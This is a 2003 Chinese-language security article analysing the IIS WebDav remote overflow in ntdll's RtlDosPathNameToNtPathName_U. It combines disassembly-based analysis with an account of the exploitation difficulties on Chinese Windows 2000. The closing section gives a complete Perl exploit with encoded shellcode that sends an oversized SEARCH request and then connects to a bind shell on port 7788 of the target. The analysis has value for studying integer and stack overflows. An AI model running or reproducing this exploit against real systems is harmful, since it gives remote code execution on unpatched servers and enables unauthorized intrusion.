WebDav远程溢出漏洞分析
创建时间:2003-03-27
文章属性:原创
文章来源: http://www.xfocus.net
文章提交: isno (isno_at_sina.com)
WebDav远程溢出漏洞分析
by isno@xfocus.org
一、漏洞分析
这个漏洞可能是前些年就有牛人发现了的,不过一直没公布,直到最近微软出了安全公告大家才知道原来有这么个漏洞。虽然WebDav是通过IIS来利用这个漏洞的,但是漏洞本身并不是IIS造成的,而是ntdll.dll里面的一个API函数造成的。有就是说,很多调用这个API的应用程序都存在这个漏洞。整个漏洞的引用关系是这样的:
IIS->WebDav->kernel32!GetFileAttributesExW->ntdll!RtlDosPathNameToNtPathName_U(溢出)
其中GetFileAttributesExW是一个很常用的,用来得到文件属性的API函数,它的第一个参数是文件名。并且随后调用ntdll.dll中的RtlDosPathNameToNtPathName_U函数,来处理这个文件名。如果给一个超长的文件名,就会导致RtlDosPathNameToNtPathName_U函数中发生溢出。
这个溢出从本质上来说是一个短整型数溢出,而后导致了堆栈溢出。最近出现的很多漏洞都是整数溢出引起的,这一点值得研究。
当我们对IIS发送如下请求就会触发溢出:
SEARCH /[buffer(>65513 bytes)] HTTP/1.0
其中IIS就把buffer前面加上几个字节的路径,然后作为文件名参数传给了GetFileAttributesExW,然后GetFileAttributesExW又把这个长字符串作为参数传给RtlDosPathNameToNtPathName_U,然后就溢出了。
下面我们就来看看溢出是怎样发生的:
.text:77F8AFFC public RtlDosPathNameToNtPathName_U
.text:77F8AFFC RtlDosPathNameToNtPathName_U proc near ; CODE XREF: sub_77F87F5C+15p
.text:77F8AFFC ; .text:77F8D9F8p ...
.text:77F8AFFC push ebp
.text:77F8AFFD mov ebp, esp
.text:77F8AFFF push 0FFFFFFFFh
.text:77F8B001 push offset dword_77F8B1E8
.text:77F8B006 push offset sub_77F82B95
.text:77F8B00B mov eax, large fs:0
.text:77F8B011 push eax
.text:77F8B012 mov large fs:0, esp ;建立异常链
.text:77F8B019 push ecx
.text:77F8B01A push ecx
.text:77F8B01B sub esp, 26Ch
.text:77F8B021 push ebx
.text:77F8B022 push esi
.text:77F8B023 push edi
.text:77F8B024 mov [ebp+var_18], esp
.text:77F8B027 xor ebx, ebx
.text:77F8B029 mov [ebp+var_58], ebx
.text:77F8B02C mov [ebp+var_3C], ebx
.text:77F8B02F mov edi, 20Ah
.text:77F8B034 mov esi, edi
.text:77F8B036 push [ebp+arg_0] ;路径UNICODE字符串
.text:77F8B039 lea eax, [ebp+var_30] ;UNICODE_STRING结构指针
.text:77F8B03C push eax
.text:77F8B03D call RtlInitUnicodeString
调用RtlInitUnicodeString函数来初始化UNICODE_STRING结构,UNICODE_STRING结构如下:
typedef struct _UNICODE_STRING {
USHORT Length; //UNICODE字符串长度,短整型数,最大可以是0xffff即65535
USHORT MaximumLength; //UNICODE字符串可存储最大长度,短整型,最大可以是0xffff即65535
PWSTR Buffer; //存放UNICODE字符串的地址
} UNICODE_STRING *PUNICODE_STRING;
RtlInitUnicodeString的作用其实就是把路径字符串存放到Buffer,并计算其长度,放在Length里。这里就存在一个短整型数溢出,如果路径字符串的长度超过65535,由于Length是短整型数,所以无法容纳,就会溢出,例如当路径长度是65536,那么Length就为0,与实际长度不等。在后面会使用到Length的时候就导致了普通的堆栈溢出。
.text:77F8B05A lea eax, [ebp+var_270]
.text:77F8B060 mov [ebp+var_3C], eax
RtlDosPathNameToNtPathName_U函数堆栈中的地址,距离函数栈底的距离为0x270字节,后面会作为参数传入sub_77F8AC33
.text:77F8B0A0 lea eax, [ebp+var_274]
.text:77F8B0A6 push eax
.text:77F8B0A7 lea eax, [ebp+var_38]
.text:77F8B0AA push eax
.text:77F8B0AB push [ebp+arg_8]
.text:77F8B0AE push [ebp+var_3C] ;前面取的那个堆栈地址[ebp+var_270]
.text:77F8B0B1 mov edi, 208h
.text:77F8B0B6 push edi ;长度限制,0x208
.text:77F8B0B7 lea eax, [ebp+var_30] ;已经初始化过的UNICODE_STRING结构指针
.text:77F8B0BA push eax
.text:77F8B0BB call sub_77F8AC33 ;调用sub_77F8AC33
.text:77F8AC33 sub_77F8AC33 proc near ; CODE XREF: RtlGetFullPathName_U+24p
.text:77F8AC33 ; RtlDosPathNameToNtPathName_U+BFp ...
......
.text:77F8AD96 mov dx, [ebp+var_30]
.text:77F8AD9A movzx esi, dx
.text:77F8AD9D mov eax, [ebp+var_28]
.text:77F8ADA0 lea ecx, [eax+esi] ;ecx就是UNICODE_STRING结构中的Length
.text:77F8ADA3 mov [ebp+var_5C], ecx
.text:77F8ADA6 cmp ecx, [ebp+arg_4] ;长度限制比较,Length与arg_4参数(即0x208)进行比较
.text:77F8ADA9 jnb loc_77F8E771 ;如果UNICODE字符串的长度大于0x208就跳转到错误处理
这里是有一个长度限制的,即UNICODE字符串的长度Length不能超过0x208字节,否则就认为是超长的,不进行字符串拷贝。但是由于Length这个短整型数溢出了,它比UNICODE字符串的实际长度小的多,所以造成长度限制比较失效,从而造成了后面的溢出。
进行完长度限制比较后,就会把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面(offset很小),也就是前面取的那个堆栈地址[ebp+var_270]里面。
.text:77F8AE1B movzx ecx, [ebp+var_4C]
.text:77F8AE1F add ecx, [ebp+arg_8] ;ecx就是前面取的那个堆栈地址[ebp+var_270]
......
接下来就是一些的字符串copy操作,把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面。
.text:77F8AE63 mov [ecx], dx
.text:77F8AE66 add ecx, ebx
字符串copy的时候就溢出了,会把RtlDosPathNameToNtPathName_U函数的返回地址,以及建立的异常链全部覆盖掉。一般我们通过把异常处理指针覆盖成我们能控制的地址,这样后面触发异常的时候就会跳去执行我们的shellcode。
大概的过程就是这样,当然其中还有一些比较复杂的处理,不再赘述。
二、漏洞利用
微软的公告出来之后,我就重现了这个漏洞,但是由于很长时间不搞这些东西了,连softice命令都要重新学学才能记起来。到要写这个的exploit程序,又发现其中的UNICODE转换很烦人,到现在也一直没有很通用的办法来利用。后来等到老外公布了他的exploit程序,我才发现原来中文版和英文版的Windows 2000的UNICODE转换不一样,对中文版win2000的exploit要麻烦的多,像老外那样子写的exploit程序根本无法攻击中文版的win2000。
当我们把“SEARCH /[buffer] HTTP/1.0”传给IIS后,先进行一系列的处理把buffer解析出来,然后对buffer进行MultiByteToWideChar转换,把buffer转换成UNICODE形式。中文版和英文版的win2000的转换应该是不一样的,可能是转换的CodePage不一样,英文版可能是使用CP_ACP,中文版可能使用的是CP_UTF*,具体是怎样转换的我也没搞清楚,总之转换出的结果在中文版和英文版中应该是不一样的。
这样就造成了中文版的难以利用,因为英文版中可以直接把一些指令或返回地址放在buffer里面,转换成UNICODE之后也不会改变。但是中文版的在转换之后就有好多字节变了,导致无法利用。按说像以前的ida/idq溢出也是经过UNICODE转换的,那个就可以用%u的方法进行编码,使得某些字节不进行转换。WebDav的溢出虽然也能用%u编码来控制不进行转换,但是实际调试发现某些不符合规范的字节还是被改变了。估计是对有%u编码的字节先进行了MultiByteToWideChar转换,然后又用WideCharToMultiByte给转回来了。所以不符合UNICODE编码规范的字符就还是被改变了。
最困难的问题就是我们用来覆盖的返回地址的范围大大缩小了,只能用一些符合UNICODE编码规范的字符,否则就会被转换调。可视字符(0x20~0x7f)当然是可以用的,但是要用这些字符来构造出可执行的指令就比较困难了,所以不能用含JMP EBX之类指令的地址来作为返回地址,否则即使返回到buffer里面也很难用一段指令跳转到shellcode去。而英文版就没有这个问题,可是现在公布的exploit都没用%u编码和JMP EBX地址的方法,而是用堆栈地址做返回地址,这样导致这些exploit对付英文版时成功率也不高。
对付中文版的win2000麻烦的多,因为在buffer里面不允许有不符合UNICODE编码的字符,所以直接使用堆栈内的shellcode地址作为返回地址比较好。这样就需要在shellcode之前放尽量多的NOP,占据一段比较大的内存空间,这样确保返回到NOP里面。HTTP协议里面允许存放最大量数据的地方就是POST数据,所以shellcode就放在这里。整个HTTP请求这样构造:
SEARCH /[ret]...[ret][AAA...AAA][qq] HTTP/1.0
Host: ISNO
Content-Type: text/xml
Content-length: [NOP和Shellcode的总长度]
[NOPNOPNOP...NOPNOP][Shellcode]
因为AAAA...AAAA的长度比较长,怕万一返回到这里面就没办法执行shellcode了,所以在AAAA的后面要放一个跳转指令,因为在堆栈里NOP和shellcode是AAAA的后面排列的(但是并不紧挨着,中间有一些无用字符),所以如果返回到AAAA里面就一直执行inc ecx指令(0x41),然后最后跳转到NOP里去。因为在这里面要用符合UNICODE编码的指令,所以一般的jmp指令(0xeb)都不能用,我们就用一个jno xxxx(0x71)指令向后跳转。所以我们在AAAA的后面放上两个q(0x71)来作为跳转指令,这样即使返回到AAAA里面也能保证最后跳转到后面的shellcode执行。
具体的exploit程序请参见附程序。
我在几个中文版win2000+SP2和SP3上都测试成功了,但是也有一些机器不能成功,需要调整返回地址才行。所以这个程序的通用性仍然不是很好。另外一些机器上还有返回地址要有2个字节对齐的问题,因此使用的返回地址尽量用前两个字节和后两个字节相同的,例如0x00d700d7。
顺便说一下,我发现perl真是好东西,尤其是用来构造字符串非常方便。
三、总结
这是一个典型的整数溢出导致的堆栈溢出,和以前那个ASP溢出有相似之处,只不过ASP溢出是整数溢出导致堆溢出。这个漏洞的另一个特点就是它是UNICODE转换之后的溢出,这大大增加了利用的难度。
由于本人水平极为有限,加上没有时间进行更仔细的分析,所以对一些处理过程的理解可能不正确,对该漏洞的分析肯定存在纰漏,也许IIS有一些特殊的转换处理过程我没有发现,可能会导致这个漏洞有非常容易的方法来利用。写这个文章的目的就在于抛砖引玉,让牛人们把好的exploit方法公布出来,让小弟我也学习一下。
附WebDav远程溢出程序:
----------------------------------------------------------------------
#!/usr/bin/perl
#65514 by isno@xfocus.org
#tested on Win2k SP3 Chinese version
use IO::Socket;
if ($#ARGV<0){die "webdavx.pl IP/r/n";}
$host = @ARGV[0];
$port= 80;
$ret = "%u00d7%u00d7" x 500;
$buf = "A" x 64502;
$jmp = "BBBBBBBBBBqq";# qq="/x71/x71" means jno xxxx
$nop = "/x90" x 40000;
$sc =
"/x90/xeb/x03/x5d/xeb/x05/xe8/xf8/xff/xff/xff/x83/xc5/x15/x90/x90".
"/x90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/x80/x30/x97/x40/xe2/xfa".
"/x7e/x8e/x95/x97/x97/xcd/x1c/x4d/x14/x7c/x90/xfd/x68/xc4/xf3/x36".
"/x97/x97/x97/x97/xc7/xf3/x1e/xb2/x97/x97/x97/x97/xa4/x4c/x2c/x97".
"/x97/x77/xe0/x7f/x4b/x96/x97/x97/x16/x6c/x97/x97/x68/x28/x98/x14".
"/x59/x96/x97/x97/x16/x54/x97/x97/x96/x97/xf1/x16/xac/xda/xcd/xe2".
"/x70/xa4/x57/x1c/xd4/xab/x94/x54/xf1/x16/xaf/xc7/xd2/xe2/x4e/x14".
"/x57/xef/x1c/xa7/x94/x64/x1c/xd9/x9b/x94/x5c/x16/xae/xdc/xd2/xc5".
"/xd9/xe2/x52/x16/xee/x93/xd2/xdb/xa4/xa5/xe2/x2b/xa4/x68/x1c/xd1".
"/xb7/x94/x54/x1c/x5c/x94/x9f/x16/xae/xd0/xf2/xe3/xc7/xe2/x9e/x16".
"/xee/x93/xe5/xf8/xf4/xd6/xe3/x91/xd0/x14/x57/x93/x7c/x72/x94/x68".
"/x94/x6c/x1c/xc1/xb3/x94/x6d/xa4/x45/xf1/x1c/x80/x1c/x6d/x1c/xd1".
"/x87/xdf/x94/x6f/xa4/x5e/x1c/x58/x94/x5e/x94/x5e/x94/xd9/x8b/x94".
"/x5c/x1c/xae/x94/x6c/x7e/xfe/x96/x97/x97/xc9/x10/x60/x1c/x40/xa4".
"/x57/x60/x47/x1c/x5f/x65/x38/x1e/xa5/x1a/xd5/x9f/xc5/xc7/xc4/x68".
"/x85/xcd/x1e/xd5/x93/x1a/xe5/x82/xc5/xc1/x68/xc5/x93/xcd/xa4/x57".
"/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x13/x5e/xe3/x9e/xc5/xc1/xc4".
"/x68/x85/xcd/x3c/x75/x7f/xd1/xc5/xc1/x68/xc5/x93/xcd/x1c/x4f/xa4".
"/x57/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x17/x6e/x95/xe3/x9e/xc5".
"/xc1/xc4/x68/x85/xcd/x3c/x75/x70/xa4/x57/xc7/xd7/xc7/xd7/xc7/x68".
"/xc0/x7f/x04/xfd/x87/xc1/xc4/x68/xc0/x7b/xfd/x95/xc4/x68/xc0/x67".
"/xa4/x57/xc0/xc7/x27/x9b/x3c/xcf/x3c/xd7/x3c/xc8/xdf/xc7/xc0/xc1".
"/x3a/xc1/x68/xc0/x57/xdf/xc7/xc0/x3a/xc1/x3a/xc1/x68/xc0/x57/xdf".
"/x27/xd3/x1e/x90/xc0/x68/xc0/x53/xa4/x57/x1c/xd1/x63/x1e/xd0/xab".
"/x1e/xd0/xd7/x1c/x91/x1e/xd0/xaf/xa4/x57/xf1/x2f/x96/x96/x1e/xd0".
"/xbb/xc0/xc0/xa4/x57/xc7/xc7/xc7/xd7/xc7/xdf/xc7/xc7/x3a/xc1/xa4".
"/x57/xc7/x68/xc0/x5f/x68/xe1/x67/x68/xc0/x5b/x68/xe1/x6b/x68/xc0".
"/x5b/xdf/xc7/xc7/xc4/x68/xc0/x63/x1c/x4f/xa4/x57/x23/x93/xc7/x56".
"/x7f/x93/xc7/x68/xc0/x43/x1c/x67/xa4/x57/x1c/x5f/x22/x93/xc7/xc7".
"/xc0/xc6/xc1/x68/xe0/x3f/x68/xc0/x47/x14/xa8/x96/xeb/xb5/xa4/x57".
"/xc7/xc0/x68/xa0/xc1/x68/xe0/x3f/x68/xc0/x4b/x9c/x57/xe3/xb8/xa4".
"/x57/xc7/x68/xa0/xc1/xc4/x68/xc0/x6f/xfd/xc7/x68/xc0/x77/x7c/x5f".
"/xa4/x57/xc7/x23/x93/xc7/xc1/xc4/x68/xc0/x6b/xc0/xa4/x5e/xc6/xc7".
"/xc1/x68/xe0/x3b/x68/xc0/x4f/xfd/xc7/x68/xc0/x77/x7c/x3d/xc7/x68".
"/xc0/x73/x7c/x69/xcf/xc7/x1e/xd5/x65/x54/x1c/xd3/xb3/x9b/x92/x2f".
"/x97/x97/x97/x50/x97/xef/xc1/xa3/x85/xa4/x57/x54/x7c/x7b/x7f/x75".
"/x6a/x68/x68/x7f/x05/x69/x68/x68/xdc/xc1/x70/xe0/xb4/x17/x70/xe0".
"/xdb/xf8/xf6/xf3/xdb/xfe/xf5/xe5/xf6/xe5/xee/xd6/x97/xdc/xd2/xc5".
"/xd9/xd2/xdb/xa4/xa5/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xfe/xe7/xf2".
"/x97/xd0/xf2/xe3/xc4/xe3/xf6/xe5/xe3/xe2/xe7/xde/xf9/xf1/xf8/xd6".
"/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xe5/xf8/xf4/xf2/xe4/xe4/xd6/x97".
"/xd4/xfb/xf8/xe4/xf2/xdf/xf6/xf9/xf3/xfb/xf2/x97/xc7/xf2/xf2/xfc".
"/xd9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb".
"/xd6/xfb/xfb/xf8/xf4/x97/xc0/xe5/xfe/xe3/xf2/xd1/xfe/xfb/xf2/x97".
"/xc5/xf2/xf6/xf3/xd1/xfe/xfb/xf2/x97/xc4/xfb/xf2/xf2/xe7/x97/xd2".
"/xef/xfe/xe3/xc7/xe5/xf8/xf4/xf2/xe4/xe4/x97/x97/xc0/xc4/xd8/xd4".
"/xdc/xa4/xa5/x97/xe4/xf8/xf4/xfc/xf2/xe3/x97/xf5/xfe/xf9/xf3/x97".
"/xfb/xfe/xe4/xe3/xf2/xf9/x97/xf6/xf4/xf4/xf2/xe7/xe3/x97/xe4/xf2".
"/xf9/xf3/x97/xe5/xf2/xf4/xe1/x97/x95/x97/x89/xfb/x97/x97/x97/x97".
"/x97/x97/x97/x97/x97/x97/x97/x97/xf4/xfa/xf3/xb9/xf2/xef/xf2/x97".
"/x68/x68/x68/x68";
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type =>SOCK_STREAM) or die "Couldn't connect: @!/n";
print $socket "SEARCH /$ret$buf$jmp HTTP/1.0/r/n";
print $socket "Host: ISNO/r/n";
print $socket "Content-Type: text/xml/r/n";
print $socket "Content-length: 40804/r/n/r/n";
print $socket "$nop$sc/r/n";
print "send buffer.../r/n";
print "telnet target 7788/r/n";
close($socket);
----------------------------------------------------------------------